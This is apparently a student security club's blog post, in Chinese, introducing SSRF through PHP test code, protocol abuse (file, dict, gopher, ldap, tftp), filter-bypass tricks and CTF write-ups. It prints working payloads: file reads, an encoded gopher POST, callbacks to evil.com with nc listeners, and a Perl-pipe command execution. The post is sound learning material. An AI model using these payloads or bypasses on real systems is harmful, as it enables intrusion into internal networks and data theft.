皮蛋厂的学习日记 5.10 CTF |SSRF初识--Will1am

admin 2022年5月10日22:23:27评论91 views字数 19399阅读64分39秒阅读模式

皮蛋厂的学习日记系列为山东警察学院网安社成员日常学习分享,希望能与大家共同学习、共同进步~

  • 2021级 Will1am | SSRF初识

    • 什么是SSRF

    • 哪里会出现SSRF

    • SSRF相关的函数和类

    • SSRF漏洞利用的相关协议

    • Bypass

    • 做题


Web

2021级 Will1am | SSRF初识

皮蛋厂的学习日记 5.10 CTF |SSRF初识--Will1am
img

什么是SSRF

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。

由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。例如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片,下载等,利用的就是服务端请求伪造,SSRF漏洞可以利用存在缺陷的WEB应用作为代理攻击远程和本地的服务器。

一般情况下,SSRF针对的都是一些外网无法访问的内网,所以需要SSRF使目标后端去访问内网,进而达到我们攻击内网的目的。

举个利用SSRF攻击流程的例子

(1)攻击者伪造了一个资金转帐网站的请求。

(2)将其嵌入到用户经常访问,存在SSRF漏洞的站点中。

(3)当访问者登录该网站并单击犯罪者创建的钓鱼链接时,它最终将重定向到犯罪者的网站。

(4)受害者在并将金额转移到攻击者指定的帐户中。

哪里会出现SSRF

1.社交分享功能:获取超链接的标题等内容进行显示

2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览

3.在线翻译:给网址翻译对应网页的内容

4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片

5.图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验

6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试

7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作

8.数据库内置功能:数据库的比如mongodb的copyDatabase函数

9.邮件系统:比如接收邮件服务器地址

10.编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等

11.未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞

一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……

12.从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)

SSRF相关的函数和类

没有啥特简单的题是我这个菜鸡能做的,只好在自己的环境里测试一下以下的相关函数

file_get_contents()

皮蛋厂的学习日记 5.10 CTF |SSRF初识--Will1am
img
<?php
$url = $_GET['url'];
echo file_get_contents($url);
?>

这个函数单拿出来的话其实就是一个文件读取的函数

皮蛋厂的学习日记 5.10 CTF |SSRF初识--Will1am
img

上述测试代码中,file_get_contents() 函数将整个文件或一个url所指向的文件读入一个字符串中,并展示给用户,我们构造类似 url=../../../../../etc/passwd 的目录穿梭paylaod即可读取服务器本地的任意文件。

皮蛋厂的学习日记 5.10 CTF |SSRF初识--Will1am
img

还可以通过这个进行远程访问

皮蛋厂的学习日记 5.10 CTF |SSRF初识--Will1am
img

readfile()

<?php
$url = $_GET['url'];
echo readfile($url);
?>
皮蛋厂的学习日记 5.10 CTF |SSRF初识--Will1am
img
皮蛋厂的学习日记 5.10 CTF |SSRF初识--Will1am
img
皮蛋厂的学习日记 5.10 CTF |SSRF初识--Will1am
img

和file_get_contents()这个函数区别不大,不多赘述

fsockopen()

皮蛋厂的学习日记 5.10 CTF |SSRF初识--Will1am
img

fsockopen($hostname,$port,$errno,$errstr,$timeout)用于打开一个网络连接或者一个Unix 套接字连接,初始化一个套接字连接到指定主机(hostname),实现对用户指定url数据的获取。该函数会使用socket跟服务器建立tcp连接,进行传输原始数据。fsockopen()将返回一个文件句柄,之后可以被其他文件类函数调用(例如:fgets(),fgetss(),fwrite(),fclose()还有feof())。如果调用失败,将返回false

<?php
$host=$_GET['url'];
$fp = fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp) {
    echo "$errstr ($errno)<br />n";
else {
    $out = "GET / HTTP/1.1rn";
    $out .= "Host: $hostrn";
    $out .= "Connection: Closernrn";
    fwrite($fp, $out);
    while (!feof($fp)) {
        echo fgets($fp, 128);
    }
    fclose($fp);
}
?>
皮蛋厂的学习日记 5.10 CTF |SSRF初识--Will1am
img

但是该函数的SSRF无法读取本地文件。

curl_exec()

皮蛋厂的学习日记 5.10 CTF |SSRF初识--Will1am
img

curl_init(url)函数初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用。

<?php 
if (isset($_GET['url'])){
    $link = $_GET['url'];
    $curlobj = curl_init(); // 创建新的 cURL 资源
    curl_setopt($curlobj, CURLOPT_POST, 0);
    curl_setopt($curlobj,CURLOPT_URL,$link);
    curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); // 设置 URL 和相应的选项
    $result=curl_exec($curlobj); // 抓取 URL 并把它传递给浏览器
    curl_close($curlobj); // 关闭 cURL 资源,并且释放系统资源

    // $filename = './curled/'.rand().'.txt';
    // file_put_contents($filename, $result); 
    echo $result;
}
?>

可以访问通过其访问外部网络

皮蛋厂的学习日记 5.10 CTF |SSRF初识--Will1am
img

也可以访问本地的文件

皮蛋厂的学习日记 5.10 CTF |SSRF初识--Will1am
img

SSRF漏洞利用的相关协议

相关的测试其实上文已经做过了,但在这里通过ctfhub的技能树更为直观和条理的呈现一下。

http/s协议

看了看好像没有啥题是直接关系到这个协议的,但他在很多题目中都有所体现

一般是先想办法得到目标主机的网络配置信息,如读取/etc/hosts、/proc/net/arp、/proc/net/fib_trie等文件,从而获得目标主机的内网网段并进行爆破。

域网IP地址范围分三类,以下IP段为内网IP段:

C类:192.168.0.0 - 192.168.255.255 

B类:172.16.0.0 - 172.31.255.255 

A类:10.0.0.0 - 10.255.255.255

一般用来探测内网主机存活和扫描内网端口。

file协议

本地文本传输协议,之前学习文件包含中时学习伪协议接触过,不再过多赘述

这个协议我们通过技能树上的伪协议读取文件来进一步学习一下

题目上说读取一下Web目录下的flag.php吧

进入环境之后,没有什么提示,直接进行目录穿梭,猜测一手在默认目录下,即/var/www/html/

构造payload

?url=file:/var/www/html/flag.php
皮蛋厂的学习日记 5.10 CTF |SSRF初识--Will1am
img

dict协议

dict 协议是一个在线网络字典协议,这个协议是用来架设一个字典服务的。不过貌似用的比较少,所以网上基本没啥资料(包括谷歌上)。可以看到用这个协议架设的服务可以用 telnet 来登陆,说明这个协议应该是基于 tcp 协议开发的。

形式为

dict://

这种URL Scheme能够引用允许通过DICT协议使用的定义或单词列表:

http://example.com/ssrf.php?dict://evil.com:1337/ 
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*] 
accepted (family 2, sport 31126)CLIENT libcurl 7.40.0

可以用来泄露安装软件版本信息,查看端口,操作内网redis服务等

导入个题

在SSRF中,dict协议与http协议可用来探测内网的主机存活与端口开放情况。

题目描述是来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦,

根据题目描述猜测应该是端口问题,且给出了区间

那么就得先判断那个端口存在web服务,直接放进bp里面爆

皮蛋厂的学习日记 5.10 CTF |SSRF初识--Will1am
img

在端口号为8378的时候,包长发生了变化,爆出来了

皮蛋厂的学习日记 5.10 CTF |SSRF初识--Will1am
img

Gopher协议

皮蛋厂的学习日记 5.10 CTF |SSRF初识--Will1am
img

Gopher是Internet上一个非常有名的信息查找系统,它将Internet 上的文件组织成某种索引,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息,很方便地将用户从Internet的一处带到另一处如果发起post请求,回车换行需要使用%0d%0a,如果多个参数,参数之间的&也需要进行URL编码

Gopher协议可以说是SSRF中的万金油。利用此协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp等等,也可以发送 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。

Gopher协议是互联网上使用的分布型的文件搜集获取网络协议。gopher协议是在HTTP协议出现之前,在internet上常见重用的协议,但是现在已经用的很少了

整个题

题目描述:这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年

追踪302跳转?302 Moved Temporarily 所请求的页面已经临时转移至新的url。

可能文件放到了一个网页的目录之下,所以我们直接使用disrearch进行扫描,发现目录直线有flag.php和index.php

先看index.php

/?url=file:///var/www/html/index.php
<?php

error_reporting(0);

if (!isset($_REQUEST['url'])){
    header("Location: /?url=_");
    exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

然后是flag.php

/?url=file:///var/www/html/flag.php
<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
    echo $flag;
    exit;
}
?>

<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>

flag.php里面说要从本地去访问flag,构造一下

/?url=127.0.0.1/flag.php
<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=f9dbecbf0b593eb3540dbdef24e7c5d8-->
</form>

拿到KEY,这个题目因该就是告诉我需要给服务器发送一个KEY就能得到你想要的东西。但是页面上又什么都没有,这就需要我们构建一个POST请求包来发送这个KEY。

POST包的最基本的要求如下:

gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=f9dbecbf0b593eb3540dbdef24e7c5d8

Content-Length: 36 就是需要发送的信息的长度,然后就可以开始编码了,但是要进行几次编码呢?取决于请求次数

直接POST请求算一次,然后我是直接?url打的,因此再加一次是2次。

第一次编码

gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0AHost:%20127.0.0.1:80%0AContent-Type:%20application/x-www-form-urlencoded%0AContent-Length:%2036%0A%0Akey=f9dbecbf0b593eb3540dbdef24e7c5d8

然后把并把%0A替换成%0d%0A,结尾加上%0d%0A,并且末尾要加上%0d%0a(rn)

gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0d%0AHost:%20127.0.0.1:80%0d%0AContent-Type:%20application/x-www-form-urlencoded%0d%0AContent-Length:%2036%0d%0A%0d%0Akey=f9dbecbf0b593eb3540dbdef24e7c5d8%0d%0a

再进行一次URL编码

gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250d%250AHost:%2520127.0.0.1:80%250d%250AContent-Type:%2520application/x-www-form-urlencoded%250d%250AContent-Length:%252036%250d%250A%250d%250Akey=f9dbecbf0b593eb3540dbdef24e7c5d8%250d%250a
皮蛋厂的学习日记 5.10 CTF |SSRF初识--Will1am
img

没咋见过的冷门协议

文件传输协议

在这里,Sftp代表SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol),这是一种与SSH打包在一起的单独协议,它运行在安全连接上,并以类似的方式进行工作。

sftp://
http://example.com/ssrf.php?url=sftp://evil.com:1337/ 
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*] 
accepted (family 2, sport 37146)SSH-2.0-libssh2_1.4.2
轻量级目录访问协议

LDAP代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。

ldap://
ldaps:// 
ldapi://
http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit
简单文件传输协议

TFTP(Trivial File Transfer Protocol,简单文件传输协议)是一种简单的基于lockstep机制的文件传输协议,它允许客户端从远程主机获取文件或将文件上传至远程主机。

tftp://
http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET 
evil.com:# nc -lvup 1337
Listening on [0.0.0.0] (family 0, port1337)TESTUDPPACKEToctettsize0blksize512timeout

Bypass

对于SSRF的限制大致有如下几种:

  • 限制请求的端口只能为Web端口,只允许访问HTTP和HTTPS的请求。

  • 限制域名只能为http://www.xxx.com

  • 限制不能访问内网的IP,以防止对内网进行攻击。

  • 屏蔽返回的详细信息。

利用HTTP基本身份认证的方式绕过

http://[email protected]http://10.10.10.10请求是相同的。

该请求得到的内容都是10.10.10.10的内容,此绕过同样在URL跳转绕过中适用。

如果目标代码限制访问的域名只能为http://www.xxx.com ,那么我们可以采用HTTP基本身份认证的方式绕过。即@:http://[email protected]

360会阻止这种访问方式,访问显示空白页,

firefox、chrome可以这样访问

利用的原理是解析URL时的规则问题。

一般情况下利用URL解析导致SSRF过滤被绕过基本上都是因为后端通过不正确的正则表达式对URL进行了解析。

点分割符号替换(钓鱼邮件常用于绕过检测)

在浏览器中可以使用不同的分割符号来代替域名中的.分割,可以使用。、、.来代替:

http://www。qq。com

http://www.qq.com

在浏览器中输入这两种个被不同分隔符号替代的网址都会转到www.qq.com

本地回环地址的其他表现形式

127.0.0.1,通常被称为本地回环地址(Loopback Address),指本机的虚拟接口,一些表示方法如下:

http://localhost/         # localhost就是代指127.0.0.1
http://0/                 # 0在window下代表0.0.0.0,而在liunx下代表127.0.0.1
http://0.0.0.0/       # 0.0.0.0这个IP地址表示整个网络,可以代表本机 ipv4 的所有地址
http://[0:0:0:0:0:ffff:127.0.0.1]/    # 在liunx下可用,window测试了下不行
http://[::]:80/           # 在liunx下可用,window测试了下不行
http://127。0。0。1/       # 用中文句号绕过
http://①②⑦.⓪.⓪.①
http://127.1/
http://127.00000.00000.001/ # 0的数量多一点少一点都没影响,最后还是会指向127.0.0.1
http://127.255.255.254
127.0.0.1 - 127.255.255.254
http://[::1]
http://[::ffff:7f00:1]
http://[::ffff:127.0.0.1]
http://127.0.1
http://0:80

IP的进制转换

IP地址是一个32位的二进制数,通常被分割为4个8位二进制数。通常用“点分十进制”表示成(a.b.c.d)的形式,所以IP地址的每一段可以用其他进制来转换。使用如win系统自带的计算机(程序员模式)就可简单实现IP地址的进制转换。

由于一些系统会直接提取邮件中内嵌的链接进行检测,而一种此类URL混淆技术采用了URL主机名部分中使用的编码十六进制IP地址格式来逃避检测。

由于IP地址可以用多种格式表示,因此可以在URL中如下所示使用:

点分十进制IP地址:http://216.58.199.78

八进制IP地址:http://0330.0072.0307.0116(将每个十进制数字转换为八进制)

十六进制IP地址:http://0xD83AC74E或者http://0xD8.0x3A.0xC7.0x4E(将每个十进制数字转换为十六进制)

整数或DWORD IP地址:http://3627730766(将十六进制IP转换为整数)

还有一个从whoami笔记里扒下来的脚本

<?php
$ip = '127.0.0.1';
$ip = explode('.',$ip);
$r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ;
if($r < 0) {
    $r += 4294967296;
}
echo "十进制:";     // 2130706433
echo $r;
echo "八进制:";     // 0177.0.0.1
echo decoct($r);
echo "十六进制:";   // 0x7f.0.0.1
echo dechex($r);
?>

利用302跳转绕过

前提是服务器要允许30x跳转

如果后端服务器在接收到参数后,正确的解析了URL的host,并且进行了过滤,我们这个时候可以使用302跳转的方式来进行绕过。最简单的就是在 VPS 上搭建一个 302 重定向页,然后让目标去访问即可。

(1)、在网络上存在一个很神奇的服务,http://xip.io 当我们访问这个网站的子域名的时候,例如192.168.0.1.xip.io,就会自动重定向到192.168.0.1。

当我们访问:http://127.0.0.1.nip.io/flag.php 时,实际上访问的是http://127.0.0.1/1.php 。像这种网址还有http://xip.io,http://sslip.io 。

如下示例(flag.php仅能从本地访问):

皮蛋厂的学习日记 5.10 CTF |SSRF初识--Will1am
img

(2)短地址跳转绕过,这里也给出一个网址https://4m.cn/

因为gopher会跟踪302跳转,所以我们通过此类短地址生成网址,生成一个可以跳转的短链接

皮蛋厂的学习日记 5.10 CTF |SSRF初识--Will1am
img

直接使用生成的短连接 https://4m.cn/FjOdQ 就会自动302跳转到http://127.0.0.1/flag.php上

做题

[HITCON 2017]SSRFme

<?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER["REMOTE_ADDR"];

    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".""", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);

进行一下代码审计,第一个if为了是确保$_SERVER['REMOTE_ADDR']里面获得的是真实ip,而不是代理ip

接着创建了一个文件,文件的路径是sandbox/(orange加ip值)的md5加密

然后切换到了这个文件路径。不难理解shell_exec是执行shell代码的意思

这个escapeshellarg不知道啥意思,查阅了一下php手册

escapeshellarg把字符串转码为可以在 shell 命令里使用的参数

escapeshellarg(string $arg): string

escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含 exec(), system() 执行运算符 。

可以将url里的内容转为一个可以传入shell里的字符串,结合前面的shell_exec说明这一个语句里存在命令执行,是个比较关键的句子。

第十四行有一个GET是perl(一种语言)里面的语法,在shell里是可以执行的,当GET后面加文件路径的时候,意为读取该文件或目录的内容。而GET也可以进行命令执行,因为GET底层实现使用的是perl里面的open函数,而open函数可以执行命令,所以我们可以用GET来执行命令。要让GET执行命令,当GET使用file协议的时候就会调用到perl的open函数,这就是我们要利用的点。

pathinfo就是以数组的形式返回文件路径的信息

  • [dirname] //路径名

  • [basename] //文件名

  • [extension] //扩展名

basename() 函数返回路径中的文件名部分。

比如$_GET["filename"]=/123/321,经过$info["dirname"]后等于/123,在经过basename后等于123,然后再此目录下创建一个123文件,进入到文件里,把$data的内容写入到文件里。

那意思就是url我可以传入一个想要读取的文件路径,然后shell_exec执行(GET 文件路径),最后会把执行的结果写入我传入的filename里面,然后我就可以去读取filename里面的内容,去查看结果了。方法明确后,开始构造payload

先RCE一下看看有哪些文件

?url=/&filename=a

这里使用 /的原因是在根目录写入我们的a文件。

然后我们通过sandbox/ip的哈希值/文件名来看根目录

<?php
$a = "10.244.80.46";
$sandbox = "sandbox/" . md5("orange" . $a);
echo $sandbox;
/sandbox/230317844a87b41e353b096d0d6a5145/a
皮蛋厂的学习日记 5.10 CTF |SSRF初识--Will1am
img

可以看到有个flag和readflag,因为之前遇到过,猜想基本都是直接读flag打不开,读readflag是个二进制的,所以readflag应该是个程序,要执行它让它去读flag。readflag是一个+了s权限的一个读flag的程序。

Perl的open函数会执行给open函数所传递的文件名参数中的系统命令,但是前提是这个文件名是需要存在的。这道题因为文件名是可以控制的,所以就先生成一个以读取flag命令命名的文件。因为perl里的GET函数底层就是调用了open处理,而首先得满足前面的文件存在, 才会继续到open语句, 所以在执行命令前得保证有相应的同名文件。

然后readflag,如果直接/readflag的话,那么会在服务器的根目录创建这个文件,而不是在网站的那个目录,所以是无法命令执行的,所以可以用bash -c 相当于./readflag,而根据php字符解析特性,如果直接将./readflag传入,那么.就会变成下划线,从而不能命令执行。直接bash的话好像是只能bash 有sh后缀的文件,所以不能用

综上所述,bash -c 是最好的选择

利用bash -c "cmd string"来执行命令执行readflag。(不用bash -c可以直接/readflag读取flag)

首先得满足前面的文件存在, 才会继续到open语句, 所以在执行命令前得保证有相应的同名文件:

?url=&filename=bash -c /readflag|先新建一个名为“bash -c /readflag|”的文件,用于之后的命令执行

?url=file:bash -c /readflag|&filename=a再利用GET执行bash -c /readflag保存到111文件

访问sandbox/md5/a

可以看到上面的payload中增加了很多管道符,|。这是因为perl函数看到要打开的文件名中如果以管道符(键盘上那个竖杠|)结尾,就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行,并且将命令的执行结果作为这个文件的内容写入。这个命令的执行权限是当前的登录者。如果你执行这个命令,你会看到perl程序运行的结果。

皮蛋厂的学习日记 5.10 CTF |SSRF初识--Will1am
img

[De1CTF 2019]SSRF Me

打开网页就是源码,但是很乱

皮蛋厂的学习日记 5.10 CTF |SSRF初识--Will1am
img

整理不明白,找了整理的软也弄得乱七八糟,直接找人扒下来整理好的吧(我真懒)

#! /usr/bin/env python
# #encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)

class Task:
    def __init__(selfactionparamsignip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):
            os.mkdir(self.sandbox)

    def Exec(self):
        result = 
{}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False

@app.route("/geneSign", methods=['GET''POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param"""))
    action = "scan"
    return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param"""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())

@app.route('/')
def index():
    return open("code.txt","r").read()

def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"

def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):
    return hashlib.md5(content).hexdigest()

def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher"or check.startswith("file"):
        return True
    else:
        return False
if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0',port=9999)

是一个flask的框架,在学习SSTI的时候学习过这个框架,下面进行一个代码审计

既然是flask,那就先看看它的路由

有三个,第一个是关系到了sign的获取,geneSign是对传入的param与其他字符串拼接并返回其md5值

@app.route("/geneSign", methods=['GET''POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param"""))
    action = "scan"
    return getSign(action, param)

第二个,用cookie获得action和sign,用get方法获得param。waf函数禁了gopher协议和file协议,这么打ssrf打不了了。exec函数,大概就是先判断成功登陆,登陆成功后,读经过scan扫描的param,那么思路就出来了,如果我们传入param的值为flag.txt,并且令action里面有scan和read这两个参数,即可读取内容

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param"""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())

传入3个参数,以及ip,先判断param是否是gopher或者file开头的参数,不是则过到Task中,并且返回task的Exec()函数结果,另外hint给出提示在flag.txt中有flag

所以在/De1ta页面我们get方法传入param参数值,在cookie里面传递action和sign的值,将传递的param通过waf这个函数。

第三个就是用来返回源码的

@app.route('/')
def index():
    return open("code.txt","r").read()

看完了路由我们对源码从头分析一下

class Task:
    def __init__(selfactionparamsignip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):
            os.mkdir(self.sandbox)

__init__类实例创建之后调用, 对当前对象的实例的一些初始化。后面构造方法self代表对象,其他是对象的属性。SandBox For Remote_Addr

第二部分主要是定义了一个命令执行的函数

    def Exec(self):#定义命令执行的函数,此处调用了scan这个自定义的函数
        result = {}
        result['code'] = 500
        if (self.checkSign()):#检查sign值是否等于hashlib.md5(secert_key + param + action).hexdigest()
            if "scan" in self.action:#action要写scan
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)#此处是文件读取得注入点,调用scan自定义函数读取flag.txt
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp#输出flag.txt
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:#检查action值中是否含read
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"#没有返回Action Error
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"#不等于返回Sign Error
        return result

然后就是路由了,这个我们在上面分析过了

然后把剩下的一波分析了

def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]#读取flag
    except:
        return "Connection Timeout"



def getSign(action, param):#返回值要等与sign
    return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
    return hashlib.md5(content).hexdigest()


def waf(param):#没什么用的waf
    check=param.strip().lower()
    if check.startswith("gopher"or check.startswith("file"):
        return True
    else:
        return False


if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0')

大概思路明确了。

保证checkSign函数返回真

保证 getSign(self.action, self.param) == self.sign

即经过hashlib.md5(secert_key + param + action).hexdigest()处理

需要知道这三个字符串连接后的md5值,但是纵观源码并没有哪里有secert_key

首先 checkSign() => getsign() => md5()

def checkSign(self):
    if (getSign(self.action, self.param) == self.sign):
        return True
    else:
        return False

def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):
    return hashlib.md5(content).hexdigest()

先跟进getSign

签名重点:

secert_key + param + action

action里要包含scan

action里要包含read

满足以上三个条件才可以触发ssrf点,也就是触发scan函数

def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"
urlopen(param).read()

根据hint的./flag.txt构造param=flag.txt可获取flag

回溯之前的waf对协议的过滤 但不影响直接读取flag.txt

再回到chenSign本身

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False

这里action固定为scan

如果根据之前的逻辑,构造出action=readscan(包含)

这里就要构造param=flag.txtread

serect_key+"flag.txtread"+"scan"
皮蛋厂的学习日记 5.10 CTF |SSRF初识--Will1am
img

这一步获取关键sign

之后param=flag.txt 于是action=readscan

因为是拼接所以怎么拆分都没有关系

所以payload为

/De1ta?param=flag.txt
cookie:action=readscan;sign=7b199007e9543c7c19abd83a9bec58c4;
皮蛋厂的学习日记 5.10 CTF |SSRF初识--Will1am
img


原文始发于微信公众号(山警网络空间安全实验室):皮蛋厂的学习日记 5.10 CTF |SSRF初识--Will1am

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月10日22:23:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   皮蛋厂的学习日记 5.10 CTF |SSRF初识--Will1amhttps://cn-sec.com/archives/995330.html

发表评论

匿名网友 填写信息